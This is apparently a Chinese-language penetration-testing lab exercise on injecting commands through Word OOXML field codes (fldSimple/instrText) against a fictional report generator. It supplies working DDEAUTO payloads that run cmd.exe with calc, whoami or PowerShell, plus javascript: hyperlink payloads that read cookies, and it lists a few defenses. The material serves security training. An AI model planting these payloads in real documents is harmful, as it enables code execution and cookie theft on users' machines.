◈ 渗透任务 Word 字段码攻击验证 任务中
你的身份 「暗影安全公司」渗透测试工程师 目标网站 ReportGen 自动报表生成系统 (report.reportgen.example.com) 委托方 ReportGen 自动生成的 Word 文档中包含动态字段码,可能被利用注入恶意命令 任务目标 利用 fldSimple/instrText 字段码注入 DDE 命令

OOXML 字段码攻击

Word 字段码概述

OOXML 文档中的字段码(Field Codes)用于动态内容,如超链接、日期、目录等。字段码存储在 document.xml 中,有两种表示形式。

核心原理:fldSimplew:instr 属性和复杂字段的 <w:instrText> 标签包含字段指令。Word 在打开文档时解析并执行这些指令,如果指令中包含恶意协议或命令,就会触发攻击。

形式 1:fldSimple(简单字段)

<w:fldSimple w:instr=" HYPERLINK "http://example.com" ">
  <w:r>
    <w:rPr>
      <w:rStyle w:val="Hyperlink"/>
    </w:rPr>
    <w:t>Click here</w:t>
  </w:r>
</w:fldSimple>

w:instr 属性的值就是字段指令。修改这个值就能改变链接行为。

形式 2:复杂字段(Complex Fields)

<!-- begin 标记 -->
<w:r><w:fldChar w:fldCharType="begin"/></w:r>

<!-- 字段指令 -->
<w:r>
  <w:instrText> HYPERLINK "http://example.com" </w:instrText>
</w:r>

<!-- 分隔符 -->
<w:r><w:fldChar w:fldCharType="separate"/></w:r>

<!-- 显示文本 -->
<w:r><w:t>Click here</w:t></w:r>

<!-- end 标记 -->
<w:r><w:fldChar w:fldCharType="end"/></w:r>

攻击向量 1:javascript: 协议

<!-- 将 HYPERLINK 的 URL 改为 javascript: 协议 -->
<w:fldSimple w:instr=' HYPERLINK "javascript:alert(1)" '>
  <w:r><w:t>Click me</w:t></w:r>
</w:fldSimple>

<!-- 复杂字段形式 -->
<w:instrText> HYPERLINK "javascript:alert(document.cookie)" </w:instrText>

用户点击链接时,JavaScript 代码会在文档的上下文中执行。

攻击向量 2:DDE 命令执行

<!-- DDE (Dynamic Data Exchange) 字段 -->
<w:fldSimple w:instr=' DDEAUTO c:\windows\system32\cmd.exe "/k calc.exe" '>
  <w:r><w:t>Update document</w:t></w:r>
</w:fldSimple>

<!-- 复杂字段形式 -->
<w:instrText> DDEAUTO c:\windows\system32\cmd.exe "/k calc.exe" </w:instrText>
DDE 攻击原理:DDE 是 Windows 的进程间通信协议。DDEAUTO 字段在文档打开时自动执行。虽然较新版本的 Office 会弹出确认对话框,但通过社会工程可以诱使用户点击"启用"。

DDE 常用 Payload

Payload 效果
DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" 启动计算器
DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell ..." 执行 PowerShell 命令
DDEAUTO c:\\windows\\system32\\cmd.exe "/k whoami" 查询当前用户
DDE c:\\windows\\system32\\cmd.exe "cmd" "/k calc.exe" 非自动 DDE(需要手动更新字段)

防御措施

  • Word 2016+ 默认会弹出 DDE 确认对话框
  • 可以通过注册表禁用 DDE:HKCU\Software\Microsoft\Office\16.0\Word\Options\DisableDDE
  • 邮件网关应检测包含 DDE 字段的文档

◆ 练习:OOXML 字段码注入

目标:修改 fldSimplew:instr 属性,将正常的超链接替换为 javascript: 协议或 DDE 命令。 文档打开时,Word 会解析字段指令并执行相应的操作。
重置
原始 fldSimple 结构:
<w:fldSimple w:instr=" HYPERLINK &quot;http://example.com&quot; ">
  <w:r>
    <w:rPr><w:rStyle w:val="Hyperlink"/></w:rPr>
    <w:t>Click here</w:t>
  </w:r>
</w:fldSimple>
◆ 字段码安全状态:
  • w:instr 属性值 -- 未经过滤
  • 协议类型检查 -- 未执行
  • DDE 命令检测 -- 未执行
  • javascript: 协议检测 -- 未执行
◆ 查看漏洞源码 (document.xml)
<!-- document.xml 中的字段码结构 -->
<w:fldSimple w:instr=" HYPERLINK &quot;http://example.com&quot; ">
  <w:r>
    <w:rPr>
      <w:rStyle w:val="Hyperlink"/>
    </w:rPr>
    <w:t>Click here</w:t>
  </w:r>
</w:fldSimple>

<!-- 复杂字段结构 -->
<w:r>
  <w:fldChar w:fldCharType="begin"/>
</w:r>
<w:r>
  <w:instrText> HYPERLINK &quot;http://example.com&quot; </w:instrText>
</w:r>
<w:r>
  <w:fldChar w:fldCharType="separate"/>
</w:r>
<w:r>
  <w:t>Click here</w:t>
</w:r>
<w:r>
  <w:fldChar w:fldCharType="end"/>
</w:r>